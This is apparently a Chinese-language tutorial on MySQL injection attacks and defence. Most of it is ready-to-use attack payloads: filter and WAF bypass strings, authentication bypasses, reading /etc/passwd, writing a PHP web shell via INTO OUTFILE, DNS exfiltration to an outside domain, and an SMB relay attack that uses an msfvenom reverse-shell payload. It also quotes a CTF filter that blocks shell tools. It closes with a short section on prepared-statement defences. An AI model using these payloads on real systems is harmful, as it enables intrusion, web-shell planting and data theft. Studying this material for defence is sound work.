MySQL注入攻擊與防御
一、注入常用函數與字符
下面幾點是注入中經常會用到的語句
- 控制語句操作(select, case, if(), ...)
- 比較操作(=, like, mod(), ...)
- 字符串的猜解操作(mid(), left(), rpad(), …)
- 字符串生成操作(0x61, hex(), conv()(使用conv([10-36],10,36)可以實現所有字符的表示))
二、測試注入
可以用以下語句對一個可能的注入點進行測試
三、注釋符
以下是Mysql中可以用到的注釋符:
Examples:
- SELECT * FROM Users WHERE username = '' OR 11=1 -- -' AND password = '';
- SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';
四、版本&主機名&用戶&庫名
五、表和字段
1. 確定字段數
(1) ORDER BY
ORDER BY用于判斷表中的字段個數
(2) SELECT ... INTO
關于SELECT ... INTO 的解釋可以看這一篇文章SELECT ... INTO解釋
當出現LIMIT時可以用以下語句:
- SELECT username FROM Users limit 1,{INJECTION POINT};
(3) 判斷已知表名的字段數
- AND (SELECT * FROM SOME_EXISTING_TABLE) = 1
- SELECT passwd FROM Users WHERE id = {INJECTION POINT};
2. 查表名
以下提過幾種方式對庫中表進行查詢
3. 查列名
以下提過幾種方式對表中列進行查詢
六、字符串連接
下面的幾條語句都可以用以連接字符
六、條件語句&時間函數
其中BENCHMARK函數是指執行某函數的次數,次數多時能夠達到與sleep函數相同的效果
七、文件操作
1. 文件操作權限
在MySQL中,存在一個稱為secure_file_priv的全局系統變量。 該變量用于限制數據的導入和導出操作,例如SELECT … INTO OUTFILE語句和LOAD_FILE()
如果secure_file_priv變量為空那么直接可以使用函數,如果為null是不能使用
但在mysql的5.5.53之前的版本是默認為空,之后的版本為null,所有是將這個功能禁掉了
也可使用如下語句查詢
2. 讀文件
讀文件函數LOAD_FILE()
Examples:
- SELECT LOAD_FILE('/etc/passwd');
- SELECT LOAD_FILE(0x2F6574632F706173737764);
注意點:
- LOAD_FILE的默認目錄@@datadir
- 文件必須是當前用戶可讀
- 讀文件最大的為1047552個byte, @@max_allowed_packet可以查看文件讀取最大值
3. 寫文件
INTO OUTFILE/DUMPFILE
經典寫文件例子:
To write a PHP shell:
- SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
這兩個函數都可以寫文件,但是有很大的差別
- INTO OUTFILE函數寫文件時會在每一行的結束自動加上換行符
- INTO DUMPFILE函數在寫文件會保持文件得到原生內容,這種方式對于二進制文件是最好的選擇
- 當我們在UDF提權的場景是需要上傳二進制文件等等用OUTFILE函數是不能成功的
注意點:
- INTO OUTFILE不會覆蓋文件
- INTO OUTFILE必須是查詢語句的最后一句
- 路徑名是不能編碼的,必須使用單引號
八、帶外通道
關于帶外通道的注入前段時間國外的大佬已經總結過了,我基本復現了一下,博客有文章,這里簡單提一下
1. 什么是帶外通道注入?
帶外通道攻擊主要是利用其他協議或者渠道從服務器提取數據. 它可能是HTTP(S)請求,DNS解析服務,SMB服務,Mail服務等.
2. 條件限制
首先不用多說,這些函數是需要絕對路徑的
如果secure_file_priv變量為空那么直接可以使用函數,如果為null是不能使用
但在mysql的5.5.53之前的版本是默認為空,之后的版本為null,所有是將這個功能禁掉了
3. DNS注入
- select load_file(concat('\\\\',version(),'.rootclay.club\\clay.txt'));
- select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));
上面的語句執行的結果我們可以通過wireshark抓包看一下,過濾一下DNS協議即可清晰看到數據出去的樣子,如下圖
進行DNS注入需要域名解析,自己有的話最好,但是沒有的朋友也沒事,這里推薦一個網站CEYE可以查看數據
4. SMB Relay 注入攻擊
(1) What is SMB relay
這里簡單的描述一下SMB relay這個過程
假設有主機B與A
- A向B發起連接請求
- B向A發送挑戰(一組隨機數據,8字節)
- A用源自明文口令的DESKEY對挑戰進行標準DES加密得到響應,并發往B
- B從SAM中獲取A的LM Hash、NTLM Hash,計算出DESKEY,并對前面發往A的挑戰進行標準DES加密
- 如果(4)中計算結果與A送過來的響應匹配,A被允許訪問B
現在假設一個攻擊者C卷入其中
- C向B發起連接請求
- B向C發送挑戰D(一組隨機數據)
- C等待A向B發起連接請求
- 當A向B發起連接請求時,C偽造成B向A發送挑戰D
- A用源自明文口令的DESKEY對挑戰D進行標準DES加密得到響應E,并發往B
- C截獲到響應E,將它做為針對(2)中挑戰D的響應發往B,并聲稱自己是A
- B從SAM中獲取A的LM Hash、NTLM Hash,計算出DESKEY,并對挑戰D進行標準DES加密
- 如果(7)中計算結果與C送過來的響應匹配,C被允許以A的身份訪問B。
(2) 攻擊流程
關于SMB relay攻擊竊取NTML與shell請看這篇文章SMB Relay Demystified and NTLMv2 Pwnage with Python
整理了一下實際操作的步驟如下:
首先生成一個反向shell:
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻擊機ip LPORT=攻擊機監聽端口 -f exe > reverse_shell.exe
然后,運行smbrelayx,指定被攻擊者和生成的反向shell,等待連接。
- smbrelayx.py -h 被攻擊者ip -e 反向shell文件位置
其次,使用模塊multi/handler。偵聽攻擊機ip,攻擊機監聽端口
最后,在MySQL Server上運行如下的代碼,則會產生shell。相當于訪問攻擊機的smb服務,但實際上是竊取了mysql_server的身份
- select load_file('\\攻擊機ip\aa');
九、繞過技巧
1. 繞過單引號
2. 大小寫繞過
- ?id=1+UnIoN+SeLecT+1,2,3--
3. 替換繞過
- ?id=1+UNunionION+SEselectLECT+1,2,3--
4. 注釋繞過
- ?id=1+un/**/ion+se/**/lect+1,2,3--
5. 特殊嵌入繞過
- ?id=1/*!UnIoN*/SeLecT+1,2,3--
6. 寬字節注入
SQL注入中的寬字節國內最常使用的gbk編碼,這種方式主要是繞過addslashes等對特殊字符進行轉移的繞過。反斜杠()的十六進制為%5c,在你輸入%bf%27時,函數遇到單引號自動轉移加入\,此時變為%bf%5c%27,%bf%5c在gbk中變為一個寬字符“縗”。%bf那個位置可以是%81-%fe中間的任何字符。不止在sql注入中,寬字符注入在很多地方都可以應用。
7. MySQL版本號字符
Examples:
- <span style="font-family: 微軟雅黑, "Microsoft YaHei";">UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null-- x*/0,null--+<br>SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);</span>
這樣的查詢語句是可以執行的,我理解為類似Python中第一行注釋指定解析器一樣#!/bin/sh
對于小于或等于版本號的語句就會執行
例如目前的Mysql版本為5.7.17那么/!50717/及其以下的語句即可執行
8. 字符編碼繞過
前段時間看到ph師傅的博客是討論mysql字符編碼的文章,大概意思如下,原文在這里
當出現有以下代碼時,指設置了字符編碼為utf-8,但并不是全部為utf-8,而在具體的轉換過程中會出現意外的情況,具體可以看ph師傅的文章
- $mysqli->query("set names utf8");
在sql查詢中,test.php?username=admin%e4中的%e4會被admin忽略掉而繞過了一些邏輯,還有一些類似于$e4這樣的字符如%c2等
9. 繞空格
(1) 特殊字符繞過空格
Example:
- '%0AUNION%0CSELECT%A0NULL%20%23
括號繞過空格
Example:
- UNION(SELECT(column)FROM(table))
10. and/or后插入字符繞過空格
任意混合+ - ~ !可以達到繞過空格的效果(可以現在本地測試,混合后需要的奇偶數可能不同)
- SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and-++-1=1;需要偶數個--
- SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and!!~~~~!11=1;需要奇數個!
其實一下的字符都可以測試
十、注釋符&引號
- SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and/**/11=1;
- SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and"11=1";
1. 編碼繞過
2. 關鍵字繞過
測試用例information_schema.tables
3. 認證繞過
繞過語句:'='
- select data from users where name="="
- select data from users where flase="
- select data from users where 00=0
繞過語句:'-'
- select data from users where name=''-''
- select data from users where name=0-0
- select data from users where 00=0
比如登錄的時候需要輸入email和passwd,可以這樣輸入
- email=''&password=''
類型轉換
- ' or 1=true
- ' or 1
- select * from users where 'a'='b'='c'
- select * from users where ('a'='b')='c'
- select * from users where (false)='c'
- select * from users where (0)='c'
- select * from users where (0)=0
- select * from users where true
- select * from users
我們還有關于此的漏洞,就以一次CTF的題目來說(源碼如下):
- <?php
- class fiter{
- var $str;
- var $order;
- function sql_clean($str){
- if(is_array($str)){
- echo "<script> alert('not array!!@_@');parent.location.href='index.php'; </script>";exit;
- }
- $filter = "/ |\*|#|,|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."/i";
- if(preg_match($filter,$str)){
- echo "<script> alert('illegal character!!@_@');parent.location.href='index.php'; </script>";exit;
- }else if(strrpos($str,urldecode("%00"))){
- echo "<script> alert('illegal character!!@_@');parent.location.href='index.php'; </script>";exit;
- }
- return $this->str=$str;
- }
- function ord_clean($ord){
- $filter = " |bash|perl|nc|java|php|>|>>|wget|ftp|python|sh";
- if (preg_match("/".$filter."/i",$ord) == 1){
- return $this->order = "";
- }
- return $this->order = $ord;
- }
- }
這里過濾了很多關鍵詞了,需要用到類型轉換了,這里我們用+號
Payload如下:
- uname=aa'+(ascii(mid((passwd)from(1)))>0)+'1
執行的SQL語句如下:
- xxxxxx where username = 'aa'+(ascii(mid((passwd)from(users)))>0)+'1'
這樣就可以開始寫腳本跑數據了
除了+號,其他算術操作符號也會發生類型的類型轉換,例如MOD,DIV,*,/,%,-,
關于隱式類型轉換的文章可以看這里
4. HTTP參數污染
當我們傳入的參數為
http://sqlinjection.com/?par1=val1&par1=val2
進入到不同的Web Server就可能得到不同的結果,這里借鑒一下國外大佬一篇文章的總結,如下:
不同的web server的處理結果截然不同
這里也推薦一篇國外的文章
十一、實戰正則過濾繞過
十二、防御手段(代碼以PHP為例)
像WAF之類防御手段自己無能為力經常打補丁就好,這里主要提一下代碼層面的問題
推薦使用下面的方式進行查詢:
1. MYSQLi
- $stmt = $db->prepare('update name set name = ? where id = ?');
- $stmt->bind_param('si',$name,$id);
- $stmt->execute();
2. ODBC
- $stmt = odbc_prepare( $conn, 'SELECT * FROM users WHERE email = ?' );
- $success = odbc_execute( $stmt, array($email) );
或者
- $dbh = odbc_exec($conn, 'SELECT * FROM users WHERE email = ?', array($email));
- $sth = $dbh->prepare('SELECT * FROM users WHERE email = :email');
- $sth->execute(array(':email' => $email));
3. PDO
- $dbh = new PDO('mysql:dbname=testdb;host=127.0.0.1', $user, $password);
- $stmt = $dbh->prepare('INSERT INTO REGISTRY (name, value) VALUES (:name, :value)');
- $stmt->bindParam(':name', $name);
- $stmt->bindParam(':value', $value);
- // insert one row
- $name = 'one';
- $value = 1;
- $stmt->execute();
或者
- $dbh = new PDO('mysql:dbname=testdb;host=127.0.0.1', $user, $password);
- $stmt = $dbh->prepare('UPDATE people SET name = :new_name WHERE id = :id');
- $stmt->execute( array('new_name' => $name, 'id' => $id) );
4. 框架
對于框架的話只要遵循框架的API就好,例如wp的查詢
- global $wpdb;
- $wpdb->query(
- $wpdb->prepare( 'SELECT name FROM people WHERE id = %d OR email = %s',
- $person_id, $person_email
- )
- );
或者
- global $wpdb;
- $wpdb->insert( 'people',
- array(
- 'person_id' => '123',
- 'person_email' => 'bobby@tables.com'
- ),
- array( '%d', '%s' )
- );